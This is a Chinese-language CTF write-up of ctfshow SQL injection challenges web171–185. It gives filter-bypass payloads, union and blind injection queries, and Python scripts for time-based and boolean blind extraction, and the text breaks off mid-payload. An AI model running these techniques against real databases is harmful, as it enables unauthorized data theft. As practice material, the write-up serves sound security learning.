Bootstrap

【ctfshow】web篇-SQL注入 wp

前言

记录web的题目wp,慢慢变强,铸剑。

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), --空格,–+等,或者拼接语句不用注释也行

image-20210727052118542

  • 判断有3个字段
1' order by 3--+

image-20210727052202385

  • 联合查询,查表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210727052424376

  • 查字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

image-20210727052509428

  • 查flag
1' union select 1,2,password from ctfshow_user --+

image-20210727052648926

web172

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1' union select 1,2,password from ctfshow_user3--+

web174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      
  • 过滤了数字,考察replace的运用,先判断有几个字段
1' order by 2 %23

image-20210727091147187

  • 联合函数添加a和b两个数据ok

image-20210727091245501

  • 先构造一个replace将0-9全部置换
 select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

image-20210727091509981

  • 查表构造语句将1-0换成table_name
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

image-20210727091702800

  • 查字段名
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

image-20210727091826089

  • 查结果
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

image-20210727091848759

  • 写个小py来转换一下
import requests



flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'

flag=''
flag = flag + flagstr.replace('numA','1').\
    replace('numB','2')\
    .replace('numC','3')\
    .replace('numD','4')\
    .replace('numE','5')\
    .replace('numF','6')\
    .replace('numG','7')\
    .replace('numH','8')\
    .replace('numI','9')\
    .replace('numJ','0')



print(flag)

image-20210727091931245

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
   
      $ret['msg']='查询成功';
    }
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):
    for j in dict:
        payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{
     i},1)=\"{
     j}\",sleep(3),0)--+"
        res_get = url + payload
        start = time.time()
        res = requests.get(url=res_get)
        end = time.time()
        if end-start > 3:
            flag = flag + j
            print(flag)
            break

image-20210730095850795

web176

  • 发现是对select的过滤,但是没有过滤大小写
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
  • 字段
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
  • 查flag
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1' or 1=1--+

image-20210730101403056

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1'or(1=1)%23
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

web180

  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1.1'or(id='26')and'1=1

这个拼接之后的语句就是

select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1limit 1;
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1

web181

  • 和上题一样
1.1'or(id=26)and'a'='a

web182

  • 和上题一样
1.1'or(id=26)and'a'='a

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参

image-20210730124155127

  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests

url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    print('[*] 开始盲注第{}位'.format(i))
    for j in str:
        data = {
   
            "tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)
        }
        res = requests.post(url,data)
        if res.text.find("$user_count = 1")>0:
            flag += j
            print(flag)
            if j=="}":
                print('[*] flag is {}'.format(flag))
                exit()
            break


image-20210730132558687

web184

  • 这把过滤了where,我们用右连接来做
ctfshow% 的十六进制 为 0x63746673686F7725
  • 所以用他来匹配like,放出了空格
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
  • 写个py来跑flag
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binascii

def to_hex(s):
    #转十六进制
    str_16 = binascii.b2a_hex(s.encode('utf-8'))
    res = bytes.decode(str_16)
    return res

url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
     print('[*] 开始盲注第{}位'.format(i))
     for j in str:
        result = "0x" + to_hex(flag + j + "%")
        data = {
   
             "tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)
        }
        res = requests.post(url,data)
        if "$user_count = 43" in res.text:
             flag += j
             print(flag)
             if j=="}":
                 print('[*] flag is {}'.format(flag))
                 exit()
             break

# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725

image-20210730140931041

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

select true+true;
结果是2
所以我们构造数字c来进行like匹配

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

image-20210730151426812

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+
;